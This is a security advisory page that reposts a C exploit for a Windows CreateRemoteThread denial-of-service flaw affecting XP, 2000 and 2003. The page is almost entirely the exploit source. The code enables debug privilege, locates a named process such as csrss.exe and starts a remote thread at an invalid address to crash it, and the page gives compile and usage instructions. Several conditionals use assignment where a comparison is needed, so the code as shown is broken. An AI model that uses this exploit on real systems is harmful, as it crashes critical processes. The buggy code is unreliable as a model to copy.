SecuriTeam - Microsoft Windows CreateRemoteThread DoS (Exploit)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

The following exploit call the function CreateRemoteThread() with the following parameters "Process,0,0,x,0,0,0", which in turn will cause all the processes opened by the OpenProcess function, to crash, effectively causing a aDoS.

Credit:
The information has been provided by Nima salehi.
The original article can be found at: http://www.ashiyane.com/

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Vulnerable Systems:
* Windows XP SP 2 and prior
* Windows 2000 PRO SP 4 and prior
* Windows 2000 Server SP 4 and prior
* Windows 2000 AdvServer SP 4 and prior
* Windows 2003 AdvServer SP 1 and prior

Exploit:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

BOOL exploit(char* chProcessName)
{
HANDLE hProcessSnap = NULL;
HANDLE hProcess = NULL;
BOOL bFound = FALSE;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = {0};
UINT uExitCode = 0;
DWORD dwExitCode = 0;
LPDWORD lpExitCode = &dwExitCode;
   HANDLE hToken;
  TOKEN_PRIVILEGES tp;
  LUID luid;

  if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY | TOKEN_READ,&hToken))
    return FALSE;

  if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    return TRUE;

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  tp.Privileges[0].Attributes = 1 ? SE_PRIVILEGE_ENABLED : 0;

  AdjustTokenPrivileges(hToken,FALSE,&tp,0,0,0);

  CloseHandle(hToken);
  hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hProcessSnap = INVALID_HANDLE_VALUE)
    return (FALSE);

   pe32.dwSize = sizeof(PROCESSENTRY32);

    printf("\n[+] Search For Process ... \n");

   while(!bFound && Process32Next(hProcessSnap, &pe32))
   {
       if(lstrcmpi(pe32.szExeFile, chProcessName) = 0)
           bFound = TRUE;
   }

   CloseHandle(hProcessSnap);
   if(!bFound){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED| FOREGROUND_INTENSITY) ;
    printf("[-] Sorry Process Not Find \n");

    return(FALSE);

  }
   printf("[+] Process Find \n");

   hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, FALSE, pe32.th32ProcessID);
   if(hProcess = NULL){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED| FOREGROUND_INTENSITY) ;
   printf("[-] Exploit Failed :( \n");

   return(FALSE);
   }
   printf("[+] Send Exploit To Process ...\n");
   CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *)(void *))100,0,0,0);
   printf("[+] Successful :)\n");
   return(pe32.th32ProcessID);
}

int main(int argc,char **argv)
{
char* chProcess = argv[1];

       COORD coordScreen = { 0, 0 };
   DWORD cCharsWritten;
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    DWORD dwConSize;
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);

    GetConsoleScreenBufferInfo(hConsole, &csbi);
    dwConSize = csbi.dwSize.X * csbi.dwSize.Y;
    FillConsoleOutputCharacter(hConsole, TEXT(' '), dwConSize, coordScreen, &cCharsWritten);
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    FillConsoleOutputAttribute(hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten);
    SetConsoleCursorPosition(hConsole, coordScreen);

    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN| FOREGROUND_INTENSITY) ;
   if(argc !=2) {
printf("\n");
    printf(" ===================================== \n");
printf(" > Microsoft Windows CreateRemoteThread Exploit Version 2.0 (0day) < \n");
    printf(" > Now All Process Will Crash < \n");
printf(" > BUG Find By Q7X ( Nima Salehi ) Q7X@Ashiyane.com < \n");

printf(" > Exploited By Q7X ( Nima Salehi ) Q7X@Ashiyane.com < \n");
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED | FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);

    printf(" > Compile : cl -o nima.c ( Win32/VC++ ) < \n");

printf(" > Usage : nima.exe Process < \n");
printf(" > Example : nima.exe csrss.exe < \n");
printf(" > Tested on : Windows XP (SP0 ,SP1 ,SP2) , Windows 2000 AdvServer (SP4) < \n");
    printf(" > Windows 2000 Server (SP4), Windows 2003 (SP0 , SP1) < \n");
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED| FOREGROUND_INTENSITY) ;

printf(" > Copyright 2002-2005 By Ashiyane Digital Network Security Team < \n");
    printf(" > www.Ashiyane.com ( Free ) www.Ashiyane.net ( Not Free ) < \n");

printf(" > Special Tanx To My Best Friends : Behrooz_Ice - ActionSpider < \n");
    printf(" > illwill - m_lover_2003 - silversmith - crash - Uranium < \n");

printf(" ===================================== \n");
  }
    else
  exploit(chProcess);

SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED |FOREGROUND_GREEN|FOREGROUND_BLUE);
}

/* EoF */

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